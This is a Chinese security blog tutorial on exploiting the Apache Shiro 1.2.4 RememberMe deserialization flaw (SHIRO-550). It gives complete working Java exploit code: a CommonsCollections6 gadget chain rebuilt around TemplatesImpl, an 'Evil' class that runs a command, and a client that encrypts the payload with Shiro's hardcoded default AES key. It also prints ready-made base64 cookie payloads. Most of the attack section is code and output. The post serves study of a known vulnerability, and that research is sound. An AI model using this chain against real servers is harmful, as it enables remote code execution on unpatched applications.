TemplatesImpl在Shiro中的利用
文章首发自: https://www.le1a.com/posts/6e876d26/
前言
前面学习了CC1、CC3和CC6,其中CC6是不限制版本的一条链,那么为什么还要用到TemplatesImpl这条链呢?不妨我们设想一下:命令执行
和代码执行
到底谁更有价值?
例如在PHP中会遇到一个场景,call_user_func
和eval
都能造成的代码执行,而更多的人愿意使用eval
,原因是call_user_func
在某种情况下会被限制不能使用assert
和system
函数。通过TemplatesImpl
构造的利用链,理论上可以执行任意Java代码。
Shiro反序列化原理
Apache Shiro框架提供了记住我的功能(RememberMe),用户登陆成功后会生成经过加密并编码的cookie,在服务端接收cookie值后,Base64解码–>AES解密–>反序列化。攻击者只要找到AES加密的密钥,就可以构造一个恶意对象,对其进行序列化–>AES加密–>Base64编码,然后将其作为cookie的rememberMe字段发送,Shiro将rememberMe进行解密并且反序列化,最终造成反序列化漏洞。
Shiro 1.2.4版本默认固定密钥:kPH+bIxk5D2deZiIxcaaaA==
影响版本
Shiro 1.2.4及之前的版本中,AES加密的密钥默认硬编码在代码里(SHIRO-550),Shiro 1.2.4以上版本官方移除了代码中的默认密钥,要求开发者自己设置,如果开发者没有设置,则默认动态生成,降低了固定密钥泄漏的风险。
漏洞环境搭建
漏洞环境: 点击访问
搭建教程: 点击访问
访问首页,如图所示即已搭建成功
漏洞分析
先添加一波依赖:
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-core</artifactId>
<version>1.2.4</version>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.27.0-GA</version>
</dependency>
先登录抓包一下,使用root/secret
登录并勾选Remember Me。
勾选登录后,Cookie会生成rememberMe字段,这条链子的一个攻击流程就是:
- CC链生成payload
- 使用Shiro默认密钥进行AES加密
- 进行Base64编码
- 传入Cookie中的remember字段发送给服务器,最后进行反序列化
不过这里的CC链需要改造CC6才能打,我们先直接来打,看看是什么效果捏?
package Shiro;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CommonsCollections6 {
public static byte[] getPayload(String command) throws Exception {
Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class,
Class[].class }, new Object[] { "getRuntime",
new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class,
Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class },
new String[] { command }),
new ConstantTransformer(1),
};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
// 不再使用原CommonsCollections6中的HashSet,直接使用HashMap
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
outerMap.remove("keykey");
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();
return barr.toByteArray();
}
}
package Shiro;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
public class Client {
public static void main(String[] args) throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(Shiro.Evil.class.getName());
byte[] payloads = new CommonsCollectionsShiro().getPayload(clazz.toBytecode());
AesCipherService aes = new AesCipherService();
byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource ciphertext = aes.encrypt(payloads, key);
System.out.printf(ciphertext.toString());
}
}
加密的过程,我直接使用的shiro内置的类org.apache.shiro.crypto.AesCipherService
,最后生成一段base64字符串:
8hUffthcUeeLkklAI0FNJwESbBbDgOXdmJZgVFIT091XnNe8AOefNV7cz1O+X4eHMxpoy0Yzl4Kd4QNpXNf97iBIBmwtdH5ld15SJBREX947DUjYxeG2byCRGHkrYvR+7qpx+d8wXQoK1lspXdu3r795ezC/xC0WbmZxxxvrXdRN+BuJr9aiO74mjGB01DkIJUPcoUkVyYawR1uvhpWJQTQzIoLCkySrElzp7SHMxivFl5QMer/ZOwNjhXRWzbrL9nuWrWve9ZCvkhKEAARINETCy40jzHa4zoKoGlZN1wEfqX39eAQ9Onh5GKMc/MM1He/PQEgOt8LykMiJjBs6aoYVjRl4KOgr3M940sJNTJjFOVPtnf1NK3mMqzy2zB5jn1RMkG9L0VIwo1OXcGSlJOftS1V2b+sBjCD3NwqCBAbXrluTxrFz4umWdb+SqQtSC5162IwLVL+Zbmgj/ygXYvTFUvrgf8DpYhT8t4KvJxYKT/vNfdukWhe1NRWUGKmrT3n7s/L7l6+h82bLkf6XxW38mHliDcCuVbTi8qQW4qGdp3c5CfBF6vWbSlsv7904KuUXhSyaiJCpyLuPKcG0AB4B4Rk/9zQ9iq/IAA7g/r/z3KhvonSZXAm75xoqpV8UAjx+LHi9e/lbYvaOOi9EqxWZVEVdXU8Nac3IOSeW9OydVl1ICHb2LLOS2I8wY3TlZRnJPj7CS+KkT6R4NW9IidzKju1PXgcU1QlKjcfQ90CeWclI+zFVCbIxQY4khNkPYjBzTdTitAV0Uvd/76Su9CDlfVaMAtNDJ9omivf4Lb4UiQCmz8lUfSQFhvK5FYqZi28v+Y18WlOls8lS0YdsnCpvVThwg3MkQKJfBCkKx3Fj5kqn1j2jCcdp24RZ5Vqov7urUli3hXL2I7fekicuDwgyq3defCQ+uIRhAzFYxwejKKJgvOLyPHLpJh5aPPR2UD7DdR3sDY3yjg1Gb3grg+9hnRJ6YQ92EJLt5migQxLWOQK12kFBbWn01zIFWWJweWDtYUzhsV13UDuMg774rrD0PawLSi9f+zlVqJBsuAxoTDE/g1sBD1Vg8IcJI1L6BFdLn8gANeFlGFjoYTfBTcfbl6DRCGAw3RPOPBohQhwuCLyZKNdPVCzZjlHg2NEND4DRZItLfLEjYXUz/M91eX3ifiHVHlkG8UrpeqjH/z5a5ZjoO0N+Aq7aF+f7mxVTYf+ppvVPWO7OniM/7xntaU7SeX1NMku8XsnBwNUf02ibLCIbHgdZX2rJdHWuxn7AXUAJ//W4xIGgYn6mX3/lCnaqNxwwjFudwho55aowtBunUUX+yE3ZZxTEjAQHfcML2idFerDOBYxdcfLcwmS/XEklmf2chX5odNg179dJglwzKjGwJVij9ZWhuu6r4eqQ5WF/9dc2wNXDQzJ9R1Nv1ylMgtRpOka1XUVY7VK1Qv1q0gdHeuvDhmwQn+tCh5C+pBkzA+O0JokZEGUjOksi1DIKCJBbuNCJB8m+vTgl/coJ5vVTR0p58u0gdmlpUMSPy+Z8PEvBxL9erE1YUvQYkD5d3rGqC2ZHldMKhv668ru3DvtiqVfg3nm7d1QHRPqeBz3HU2qNUVvgJGqihwu9O9m2AWLQ6bLKBneRt7P3vH/hRM7ZW2ZTkC+0XBMKiMYfRrcMlF5u4gvLkP9REaYAVgPwWHV7C86sncQFzQdNh+sPoyRVVBZYV832Ay7xzWJc
可以看到,是没有成功弹出计算器的,我们来思考一下为什么呢?
P牛在其Java安全漫谈中给出了答案: 如果反序列化流中包含非Java自身的数组,则会出现无法加载类的错误。
构造不含数组的反序列化Gadget
接下来,看看如何使用TemplatesImpl
来改造CC6。CC6分析传送门首先可以通过下面这几行代码来执行一段Java的字节码
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {"...bytescode"});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
obj.newTransformer();
而在CC3中介绍了,利用InvokerTransformer
调用 TemplatesImpl#newTransformer
方法:
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(obj),
new InvokerTransformer("newTransformer", null, null)
};
但是这里仍然是用到了Transformer[]
,所以还算不满足条件。
在CommonsCollections6
中使用了TiedMapEntry
这个类,它的构造函数接受了两个参数,一个是Map,一个是对象Key。TiedMapEntry
类有个getValue
调用了map的get方法,并传入key。
public Object getValue() {
return map.get(key);
}
当这个map被传入LazyMap的时候,其get方法就触发了transform()方法。
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
在以前构造CC6的时候,这里参数key的值实际上是可以随意设置的,因为Transformer[]数组的首个对象是ConstantTransformer,我们是通过ConstantTransformer来初始化恶意对象。
但是现在不能使用Transformer[]数组了,自然也就不能使用ConstantTransformer了。但是此时这个LazyMap#get
的参数key却让人引起重视,因为这个key会被传入transform(),也就是它也能扮演ConstantTransformer的角色,用来传递恶意对象。
改造CommonsCollections6为 CommonsCollectionsShiro
首先第一步还算使用TemplatesImpl
对象:
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {"...bytescode"});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
然后用newTransformer方法的InvokerTransformer,但此时先构造一个fake,防止恶意方法在构造链子的时候触发:
Transformer transformer = new InvokerTransformer("getClass", null, null);
然后下面就继续用CC6的代码,在TiedMapEntry构造的时候,第二个参数key传入刚刚创建的TemplatesImpl
对象:
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformer);
TiedMapEntry tme = new TiedMapEntry(outerMap, obj);
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
outerMap.clear();
之前使用的outerMap.remove
来移除keykey
这个值,这里可以用过 outerMap.clear()
效果是一样的。
最后,将 InvokerTransformer
的方法从人畜无害的 getClass
,改成 newTransformer
(用于初始化,触发恶意类的构造函数)
完整CommonsCollectionsShiro:
package Shiro;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CommonsCollectionsShiro {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public byte[] getPayload(byte[] clazzBytes) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
Transformer transformer = new InvokerTransformer("getClass", null, null);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformer);
TiedMapEntry tme = new TiedMapEntry(outerMap, obj);
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
outerMap.clear();
setFieldValue(transformer, "iMethodName", "newTransformer");
// ==================
// 生成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();
return barr.toByteArray();
}
}
写一个Client.java来配合链子生成payload:
package Shiro;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
public class Client {
public static void main(String[] args) throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(Shiro.Evil.class.getName());
byte[] payloads = new CommonsCollectionsShiro().getPayload(clazz.toBytecode());
AesCipherService aes = new AesCipherService();
byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource ciphertext = aes.encrypt(payloads, key);
System.out.printf(ciphertext.toString());
}
}
Evil类
还有一个Evil类,用到了javassist
,它是一个字节码操纵的第三方库,可以帮助我们把恶意类转化为字节码文件,再传入TemplatesImpl
进行类加载。
package Shiro;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class Evil extends AbstractTranslet {
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
public Evil() throws Exception {
super();
System.out.println("Hello TemplatesImpl");
Runtime.getRuntime().exec("calc.exe");
}
}
Payload:
c095AkY8Zqwc42KxEXOKjZGDSuwnP6Tss5XwJEj9AY9yoLW0V+MGmzzj2mV1kBZGwpvqz0FU31nKmJFuC/lTz2xvR5YQ8vvp4kIRGT7QITWD5O7SRT5mcz6/Q2EW/2ur5zYPoAT3uA8m782JeZdtcvERoL6vTIFtyXK+/3AySRRQcwi+RtVwSqS1GY+WnyBfIIMgrj6YKF6RAtGF9ou98evO0w3ERmtNO45E1TkrBAdLeOmIE16ht8MGy0PbmE4HBS/Op8cECVQJDece6IWxieLCghnZyn+GTj8D5z5v02EZak3A7iRoe3nocjpDMxs09xuiG5eEFubN1e09+znicoyzNmwNQYsdAdLv5FoAugX8mXYgZjGWUThtlJrtSGRv75Qmj5U91z6xr1XeIIeUcar55xvfp7cEm/9XeR5MX/Jn4wJ6OG/6TFfYT4X+BV9osOX3CalN5gp5MepuKh6i49JplIHv1rLUv5LF6pZCFu/ffxUO/5NDjobibUOXP41GALYoBEfDEeb2FBIqvpwhtPJ0XWY3ByT6zZgDlz8Jy/MKkIvA/zMCf4Y4c9ba1q+bTSKrTEOK2OL1j9W83H4siQo0nlx78O881dqrF2bIDGBn2J5ESzlUevgmN4yaB1Z3UCK4D+Un0dryeFZ6u1ptdr+W/feoG3Ten+MD4U8h4I6OIkGettCi4Sog/PVlVi+XgveR+/v4WOXI6Nscf1EA7G6DsEQdFxgolHrzUc2iS8rNfoIbJf9dIkgNHw97zawJ3pQmiJBMiDzOHKAUVXeOemmYXX1aaafit7w8UXnA7TRtNwJk45E4eDx2U8jul5u2esqbuF7meO8Bj/augy0cEwKh4MKyNkmHK8bFQgpqRBVbIXT3/LJPS4ULuhLxqQdilYxoRqrw7mj4QDgXx893MQrzNgHvWbIiMBWT60ANTe3rRI/02OS/dZeT5RHrlu/hnQY1qUVNVtBHhykMWqdQDTZ3o/S7wSOLcV7SB7WRblWyVu0g5LDyQr9U5n0ftne9xEU1YkwJMoaBNUalkM77QIucXtPAE68Ddjjk7QkTWFo5hGUzqUoeIiCrYeYD8AV1V+OjPnjE3tZtvt4xb1SLznte0dO/rGgn0iepC9EQYczV212/73xVKLoZb17f23CCxGhp3uGob1Ezp6wnQ9pkwXpywqTbldjjKsiXeTd6uwh8sWh7ILueufVjpl3r9P8uOnaHwpxMJsAiVif1mC6gk2wAXmi5BUrn0bIB+e+0q09xltj0U2DYlpwUiyiAQ92T84lSN0D3GS2MV9ka/ENWf1wh2+iYqtwSQR9KSFRdtC5YibNGw9AeE9+V/Wthb0u5DEwNHWCTNb2DKM3SVOPl6u4TH/dnKh5L5EvIsjLoTty5glsRyljNx1yl8HtMkJz8Ks6+XT/qRJP78zXUKG2llRNpk126N8ThbDoLLWIo5He1pV87IiK1zhiQPcOIa5Sdn0lfoxsJ3Apti4VGsUkp8KZWUhmamfenQmjEMkpGuWc0bqdKxAuhF2wD9Jn3vLAigfpg8BlKsY/eKV0HgUVQ8lFD3z773K77pnTABEd9IAE2VTn9GQ/wML0cgiLguy9VWGx/L7sxJP+APF1uut5Fx3rQDjRHsDf6VOWSk7taV2UTnrx23HdX5cFIHN2E+giDwlTOK7nqmijf4tq1jJ8QiccNjHLdmQvtjx6yu6p8JiMTz+4osRQtgM3RJITFfoha4HuyVIYdszo3Kc29jI0hvcyfaYyEtaq94ZOtvznPQ4yI1AwhvZf6+zHwysLmYgJLM+PrDkgw/wkRZSUZ0q5qyFASOCwEUDtGp117PmiI33MHMJSrAmS5Zx3m3qZVjHtnQapzGzFJRsLYO9BGonCiAi89ktDP9L8zNjHerTxM3EHaukJnX7ybRJcVcI96hgJVfwZHG8mZoDr6qwmzKHeK4leo3JxWkcrdbGnwZGuX/XgRAr3ENQQj/cEgpfcPc3GzJesevxyTGoYP8u23XLBahNO085YBDihHc4EUMNHpOzQrhXUbq02o+0wpZViGxQ5CPVGkQb5DC5F5fnhlbWBumkyh+ELaiNf30p+kIMHQ7QszcxQEWvc1ldk7hC80IIO9HwjAGdM56+9VJ3MYDN9gdmIcJBTh8nlfugRkwfEuOhTPnTy8PEv4u0YFhO/CirKwom1JqgSud2G2FE/7D0W9eODQ0Cc8JM2wPaDOgDZ5dSFwUeiJ+iiqTjpgu/tdfGycElz/vrpqL8q7Yv2aZ6/qhrL985pAQPn1spKTffalPqXWKrKfrtFt7/gzWqhM+Bg9slOUwKSljrqALJ74teULNxmGivo7k+CwYDHWPkX+yjx02JsSaVI5LyoX10EpYDerPBEJ2DqE8Z3fBnq0DIcKPhyXXkVcUm0y3UqgdH4hlqOtlpYModrUNQylpCmS09K5jl0ZmoU71CJXjhJVBgC0ebEbmiGTmL1S92moRdFL0h3QnRP60/1rqZR+Bujta+RiolvONEnBylL1yIAhPczK8bDAZFnrRSjAus2y2rdk59HXwsI06BbyMma4cMrNAEXcbL6dNIVtY/pCqmq1KAcZ4JdEE/2IP56N1/kbwQ+6At/vOD59bX5T8apx/9eIvWETEp2QStHe1EpgWjSRYYmgU05Id0jcYBSAVR8XqABsNEIVSlupZ2Id87IR51t+XQCqpa9Sgyn5mP6VC4MAROlE3OjDRlOLv1ZZoxHpoa5J9B6avfoJJ7MTDnqh6r+WDZkGfp9su0QnzymS7K7Mzbbk/sZITIKKbw93p01rGyiCXVJ9WR+dJTPSyxLpo/6lz07eZKWDRcNzfVRpd7pjuZhwb+r9Ag8lIwVnBfsQkTM0GgnXUCbmJVooZBGYRB7Ho4uR95UAd5tQ3S61nvjPEQdHTM28NOp7b9ErgJKLonp+B3Z39wkFS5uQeceJQcnOTlEjyaHlunyKsn9SiZi7GA0sb7R6/nNjN6IoexvlU80VXh0F3cssaOH4IGy0zPXvR2FdAPMSaiYv1JqiRcZH3Nkoq9iXU/J4mHuwXt6gtAxJJ+Al1ESY7gqjDl7juGoyC8a5HN+PeNRJ91ZFdor2vMDNjvHtG69P0IY3bxZETNbnFI4Tmch9MurdA39XNjLq967B
最后
-
Shiro不是遇到Tomcat就一定会有数组这个问题
-
Shiro-550的修复并不意味着反序列化漏洞的修复,只是默认Key被移除了,还有新的Shiro721
-
Shiro550使用已知密钥撞,Shiro721是使用登录后rememberMe={value}去爆破正确的key值进而反序列化,对比Shiro550条件只要有足够密钥库(条件比较低)、Shiro721需要登录(要求比较高鸡肋)